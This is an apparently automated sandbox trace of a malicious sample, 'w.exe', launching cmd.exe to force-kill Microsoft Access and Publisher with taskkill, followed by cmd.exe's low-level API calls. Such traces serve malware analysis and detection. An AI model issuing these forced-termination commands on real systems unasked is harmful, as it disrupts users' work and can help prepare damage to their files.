	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "56"
	os_parent_pid = "0xb94"
	cmd_line = "taskkill  /f /im msaccess.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 257
	os_tid = 0xb84


Thread:
	id = 258
	os_tid = 0xb7c


Thread:
	id = 259
	os_tid = 0xbbc


Thread:
	id = 260
	os_tid = 0xbb4


Thread:
	id = 261
	os_tid = 0xbb8


Process:
	id = "58"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4a5dc000"
	os_pid = "0xbb0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im mspub.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 262
	os_tid = 0xba8

	[0045.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x33f9a0 | out: lpSystemTimeAsFileTime=0x33f9a0*(dwLowDateTime=0x8929b0, dwHighDateTime=0x1d52dc5)) 
	[0045.145] GetCurrentProcessId () returned 0xbb0
	[0045.145] GetCurrentThreadId () returned 0xba8
	[0045.145] GetTickCount () returned 0x1b7ba
	[0045.145] QueryPerformanceCounter (in: lpPerformanceCount=0x33f998 | out: lpPerformanceCount=0x33f998*=16545548087) returned 1
	[0045.146] GetModuleHandleA (lpModuleName=0x0) returned 0x4a100000
	[0045.146] __set_app_type (_Type=0x1) 
	[0045.146] __p__fmode () returned 0x74eb31f4
	[0045.147] __p__commode () returned 0x74eb31fc
	[0045.147] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1221a6) returned 0x0
	[0045.147] __getmainargs (in: _Argc=0x4a124238, _Argv=0x4a124240, _Env=0x4a12423c, _DoWildCard=0, _StartInfo=0x4a124140 | out: _Argc=0x4a124238, _Argv=0x4a124240, _Env=0x4a12423c) returned 0
	[0045.147] GetCurrentThreadId () returned 0xba8
	[0045.147] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xba8) returned 0x60
	[0045.147] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0045.147] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0045.147] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0045.148] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0045.148] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x33f930 | out: phkResult=0x33f930*=0x0) returned 0x2
	[0045.148] VirtualQuery (in: lpAddress=0x33f967, lpBuffer=0x33f900, dwLength=0x1c | out: lpBuffer=0x33f900*(BaseAddress=0x33f000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0045.148] VirtualQuery (in: lpAddress=0x240000, lpBuffer=0x33f900, dwLength=0x1c | out: lpBuffer=0x33f900*(BaseAddress=0x240000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0045.148] VirtualQuery (in: lpAddress=0x241000, lpBuffer=0x33f900, dwLength=0x1c | out: lpBuffer=0x33f900*(BaseAddress=0x241000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0045.148] VirtualQuery (in: lpAddress=0x243000, lpBuffer=0x33f900, dwLength=0x1c | out: lpBuffer=0x33f900*(BaseAddress=0x243000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0045.148] VirtualQuery (in: lpAddress=0x340000, lpBuffer=0x33f900, dwLength=0x1c | out: lpBuffer=0x33f900*(BaseAddress=0x340000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0045.148] GetConsoleOutputCP () returned 0x1b5
	[0045.148] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a124260 | out: lpCPInfo=0x4a124260) returned 1
	[0045.148] SetConsoleCtrlHandler (HandlerRoutine=0x4a11e72a, Add=1) returned 1
	[0045.148] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0045.148] SetConsoleMode (hConsoleHandle=0xc8, dwMode=0x0) returned 0
	[0045.149] _get_osfhandle (_FileHandle=1) returned 0xc8
	[0045.149] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a1241ac | out: lpMode=0x4a1241ac) returned 0
	[0045.149] _get_osfhandle (_FileHandle=0) returned 0xc4
	[0045.149] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x4a1241b0 | out: lpMode=0x4a1241b0) returned 0
	[0045.149] GetEnvironmentStringsW () returned 0x362000*
	[0045.149] GetProcessHeap () returned 0x350000
	[0045.149] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xaca) returned 0x362ad8
	[0045.149] FreeEnvironmentStringsW (penv=0x362000) returned 1
	[0045.149] GetProcessHeap () returned 0x350000
	[0045.149] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4) returned 0x360c38
	[0045.149] GetEnvironmentStringsW () returned 0x362000*
	[0045.149] GetProcessHeap () returned 0x350000
	[0045.149] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xaca) returned 0x3635b0
	[0045.150] FreeEnvironmentStringsW (penv=0x362000) returned 1
	[0045.150] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e8a0 | out: phkResult=0x33e8a0*=0x68) returned 0x0
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x0, lpData=0x33e8ac*=0x0, lpcbData=0x33e8a4*=0x1000) returned 0x2
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x1, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x0, lpData=0x33e8ac*=0x1, lpcbData=0x33e8a4*=0x1000) returned 0x2
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x0, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x40, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x40, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x0, lpData=0x33e8ac*=0x40, lpcbData=0x33e8a4*=0x1000) returned 0x2
	[0045.150] RegCloseKey (hKey=0x68) returned 0x0
	[0045.150] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x33e8a0 | out: phkResult=0x33e8a0*=0x68) returned 0x0
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x0, lpData=0x33e8ac*=0x40, lpcbData=0x33e8a4*=0x1000) returned 0x2
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x1, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x0, lpData=0x33e8ac*=0x1, lpcbData=0x33e8a4*=0x1000) returned 0x2
	[0045.150] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x0, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.151] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x9, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.151] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x4, lpData=0x33e8ac*=0x9, lpcbData=0x33e8a4*=0x4) returned 0x0
	[0045.151] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x33e8a8, lpData=0x33e8ac, lpcbData=0x33e8a4*=0x1000 | out: lpType=0x33e8a8*=0x0, lpData=0x33e8ac*=0x9, lpcbData=0x33e8a4*=0x1000) returned 0x2
	[0045.151] RegCloseKey (hKey=0x68) returned 0x0
	[0045.151] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163035
	[0045.151] srand (_Seed=0x5d163035) 
	[0045.151] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mspub.exe \""
	[0045.151] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im mspub.exe \""
	[0045.151] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a125260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.151] GetProcessHeap () returned 0x350000
	[0045.151] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x210) returned 0x362000
	[0045.151] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x362008, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0045.152] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0045.152] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.152] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0045.152] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0045.152] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0045.152] GetProcessHeap () returned 0x350000
	[0045.152] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x362ad8 | out: hHeap=0x350000) returned 1
	[0045.152] GetEnvironmentStringsW () returned 0x362218*
	[0045.152] GetProcessHeap () returned 0x350000
	[0045.152] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xae2) returned 0x364b78
	[0045.152] FreeEnvironmentStringsW (penv=0x362218) returned 1
	[0045.152] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0045.152] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0045.152] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0045.152] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0045.152] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0045.152] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0045.152] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0045.152] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0045.152] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0045.152] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0045.153] GetProcessHeap () returned 0x350000
	[0045.153] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x54) returned 0x365668
	[0045.153] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x33f66c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.153] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x33f66c, lpFilePart=0x33f668 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x33f668*="Desktop") returned 0x25
	[0045.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0045.153] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x33f3e8 | out: lpFindFileData=0x33f3e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x361e80
	[0045.153] FindClose (in: hFindFile=0x361e80 | out: hFindFile=0x361e80) returned 1
	[0045.153] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x33f3e8 | out: lpFindFileData=0x33f3e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x361e80
	[0045.153] FindClose (in: hFindFile=0x361e80 | out: hFindFile=0x361e80) returned 1
	[0045.153] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0045.153] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x33f3e8 | out: lpFindFileData=0x33f3e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x361e80
	[0045.153] FindClose (in: hFindFile=0x361e80 | out: hFindFile=0x361e80) returned 1
	[0045.153] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0045.154] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0045.154] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0045.154] GetProcessHeap () returned 0x350000
	[0045.154] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x364b78 | out: hHeap=0x350000) returned 1
	[0045.154] GetEnvironmentStringsW () returned 0x364088*
	[0045.154] GetProcessHeap () returned 0x350000
	[0045.154] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xb36) returned 0x365ec8
	[0045.154] FreeEnvironmentStringsW (penv=0x364088) returned 1
	[0045.154] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a125260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0045.154] GetProcessHeap () returned 0x350000
	[0045.154] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x365668 | out: hHeap=0x350000) returned 1
	[0045.154] GetProcessHeap () returned 0x350000
	[0045.154] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x400e) returned 0x366a08
	[0045.154] GetProcessHeap () returned 0x350000
	[0045.154] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x46) returned 0x361e80
	[0045.154] GetProcessHeap () returned 0x350000
	[0045.155] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4008) returned 0x36aa20
	[0045.155] GetProcessHeap () returned 0x350000
	[0045.155] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x4008) returned 0x36ea30
	[0045.156] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0045.157] GetProcessHeap () returned 0x350000
	[0045.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x418) returned 0x362d58
	[0045.157] SetErrorMode (uMode=0x0) returned 0x8003
	[0045.157] SetErrorMode (uMode=0x1) returned 0x0
	[0045.157] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x362d60, lpFilePart=0x33f5e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x33f5e4*="f") returned 0x31
	[0045.157] SetErrorMode (uMode=0x8003) returned 0x1
	[0045.157] GetProcessHeap () returned 0x350000
	[0045.157] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x362d58, Size=0x88) returned 0x362d58
	[0045.157] GetProcessHeap () returned 0x350000
	[0045.157] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x362d58) returned 0x88
	[0045.157] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0045.157] GetProcessHeap () returned 0x350000
	[0045.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x72) returned 0x372a58
	[0045.157] GetProcessHeap () returned 0x350000
	[0045.157] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xd8) returned 0x362de8
	[0045.158] GetProcessHeap () returned 0x350000
	[0045.158] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x362de8, Size=0x72) returned 0x362de8
	[0045.158] GetProcessHeap () returned 0x350000
	[0045.158] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x362de8) returned 0x72
	[0045.158] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a130640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0045.158] GetProcessHeap () returned 0x350000
	[0045.158] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0xe0) returned 0x362e68
	[0045.161] GetProcessHeap () returned 0x350000
	[0045.161] RtlReAllocateHeap (Heap=0x350000, Flags=0x0, Ptr=0x362e68, Size=0x76) returned 0x362e68
	[0045.161] GetProcessHeap () returned 0x350000
	[0045.161] RtlSizeHeap (HeapHandle=0x350000, Flags=0x0, MemoryPointer=0x362e68) returned 0x76
	[0045.161] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0045.162] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im mspub.exe ", fInfoLevelId=0x1, lpFindFileData=0x33f380, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x33f380) returned 0xffffffff
	[0045.162] GetLastError () returned 0x3
	[0045.162] GetProcessHeap () returned 0x350000
	[0045.162] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36aa20 | out: hHeap=0x350000) returned 1
	[0045.162] GetProcessHeap () returned 0x350000
	[0045.162] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x36ea30 | out: hHeap=0x350000) returned 1
	[0045.162] GetProcessHeap () returned 0x350000
	[0045.162] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x366a08 | out: hHeap=0x350000) returned 1
	[0045.162] GetConsoleOutputCP () returned 0x1b5
	[0045.162] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a124260 | out: lpCPInfo=0x4a124260) returned 1
	[0045.162] GetUserDefaultLCID () returned 0x409
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a124950, cchData=8 | out: lpLCData=":") returned 2
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x33f7ac, cchData=128 | out: lpLCData="0") returned 2
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x33f7ac, cchData=128 | out: lpLCData="0") returned 2
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x33f7ac, cchData=128 | out: lpLCData="1") returned 2
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a124940, cchData=8 | out: lpLCData="/") returned 2
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a124d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a124d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a124d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a124cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a124c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a124c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a124c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a124930, cchData=8 | out: lpLCData=".") returned 2
	[0045.163] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a124920, cchData=8 | out: lpLCData=",") returned 2
	[0045.163] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0045.165] GetProcessHeap () returned 0x350000
	[0045.165] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x0, Size=0x20c) returned 0x362f20
	[0045.165] GetConsoleTitleW (in: lpConsoleTitle=0x362f20, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.165] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0045.165] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0045.165] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0045.165] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0045.166] GetProcessHeap () returned 0x350000
	[0045.166] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x400a) returned 0x366a08
	[0045.166] GetProcessHeap () returned 0x350000
	[0045.166] HeapFree (in: hHeap=0x350000, dwFlags=0x0, lpMem=0x366a08 | out: hHeap=0x350000) returned 1
	[0045.166] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0045.166] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0045.166] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0045.166] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0045.166] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0045.166] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0045.166] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0045.166] GetProcessHeap () returned 0x350000
	[0045.166] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x58) returned 0x363138
	[0045.166] GetProcessHeap () returned 0x350000
	[0045.167] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x1a) returned 0x365708
	[0045.167] GetProcessHeap () returned 0x350000
	[0045.167] RtlAllocateHeap (HeapHandle=0x350000, Flags=0x8, Size=0x2e) returned 0x363198
	[0045.168] GetConsoleTitleW (in: lpConsoleTitle=0x33f4a4, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0045.168] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0045.168] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0045.168] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0045.168] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0045.168] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0045.168] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0045.168] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
